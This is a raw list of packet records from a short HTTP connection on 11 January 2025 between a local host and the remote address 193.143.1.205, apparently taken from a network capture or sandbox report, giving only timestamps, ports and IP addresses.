Jan 11, 2025 03:16:40.924293995 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.924354076 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.924365997 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.924392939 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.924455881 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.924468994 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.924482107 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.924490929 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.924515009 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.924624920 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.925232887 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.925247908 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.925260067 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.925270081 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.925295115 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.925406933 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.925419092 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.925431967 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.925445080 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.925451040 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.925482988 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.926150084 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.926166058 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.926186085 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.926203012 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.926220894 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.926250935 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.948117018 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948148012 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948160887 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948200941 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.948246002 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948259115 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948288918 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.948357105 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948390007 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.948431015 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948441982 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948452950 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948466063 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948477030 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.948477030 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.948497057 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.966176033 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.966211081 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.966260910 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.966273069 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.966289997 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.966321945 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.966392040 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.966422081 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.966434002 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.987020969 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.987200975 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.987206936 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.987216949 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.987231016 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.987241030 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:40.987277031 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:40.987308979 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.006057024 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006086111 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006099939 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006191969 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006206036 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006227016 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.006264925 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.006325006 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006345034 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006357908 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006370068 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.006371021 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006385088 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006397963 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006401062 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.006428003 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.006632090 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006685972 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.006747007 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006759882 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006772995 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006784916 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006798029 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006798983 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.006808996 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.006827116 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.006844044 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.044738054 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.044760942 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.044775009 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.044842005 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.044850111 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.044853926 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.044886112 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.044961929 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045001030 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045006990 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.045016050 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045063972 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.045125961 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045137882 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045183897 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.045253038 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045306921 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045319080 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045348883 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.045445919 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045459032 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045470953 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045481920 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045484066 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.045511007 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.045681000 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045692921 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045706034 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045715094 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045717955 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.045739889 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.045887947 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045897961 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045934916 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.045967102 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.045979977 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046005964 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.046103954 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046116114 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046134949 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046140909 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.046145916 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046158075 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046169996 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046176910 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.046205044 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.046411037 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046452045 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.046631098 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046644926 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046657085 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046669006 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046680927 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046684980 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.046698093 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046704054 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.046715021 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.046753883 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.047060013 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047077894 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047089100 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047100067 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047110081 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.047112942 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047123909 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047135115 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047142029 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.047147036 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047159910 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047163963 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.047183990 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.047203064 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.047561884 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047575951 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047590017 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.047610044 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.049704075 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.049748898 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.049763918 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.049778938 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.049807072 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.049817085 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.049875021 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.049890995 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.049916983 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.050077915 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050090075 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050102949 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050120115 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.050144911 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.050224066 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050235987 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050247908 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050260067 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050272942 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050273895 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.050285101 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050307035 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.050323009 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.050472975 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050529957 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050540924 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050569057 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.050616026 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050630093 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050641060 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050653934 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.050678015 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.050770998 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050782919 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050798893 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050817966 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.050957918 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050970078 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050981045 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.050996065 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.051088095 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.051090956 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.051099062 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.051111937 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.051134109 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.051281929 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.051295042 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.051306963 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.051326036 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.051328897 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.051342010 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.051342964 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.051356077 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.051377058 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.052367926 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052408934 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.052412033 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052423000 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052453041 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.052494049 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052506924 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052520037 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052553892 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.052623034 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052648067 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052660942 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052664042 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.052700043 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.052822113 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052834034 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052840948 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052851915 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052867889 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.052897930 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.052947044 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052959919 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052970886 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.052982092 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.053004980 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.053029060 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.054140091 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.057523966 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.091780901 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.091800928 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.091896057 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.091900110 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.091913939 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.091960907 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.092063904 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092077017 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092089891 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092103004 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092125893 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.092158079 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.092336893 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092350006 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092363119 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092375040 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092387915 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092392921 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.092401028 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092415094 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092417955 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.092442989 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.092736006 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092775106 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092787981 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.092788935 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092838049 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.092979908 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.092993021 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.093003988 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.093024015 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.131361961 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131390095 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131402016 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131469965 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131496906 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.131555080 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131568909 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131581068 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131593943 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.131611109 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.131783962 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131798029 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131810904 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131824017 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131835938 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.131835938 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.131861925 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132035017 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132049084 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132061958 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132069111 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132071972 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132097006 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132263899 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132273912 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132286072 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132296085 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132303953 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132323027 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132436037 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132468939 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132483959 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132503033 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132539034 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132651091 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132663965 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132678032 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132688999 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132698059 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132702112 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132714987 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132724047 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132726908 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132754087 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132915020 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132927895 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132941008 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.132951975 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.132980108 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133022070 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133033991 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133045912 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133058071 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133068085 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133070946 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133084059 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133094072 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133095026 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133109093 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133121967 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133137941 CET	49742	80	192.168.2.10	193.143.1.205
Jan 11, 2025 03:16:41.133514881 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133527040 CET	80	49742	193.143.1.205	192.168.2.10
Jan 11, 2025 03:16:41.133539915 CET	80	49742	193.143.1.205	192.168.2.10
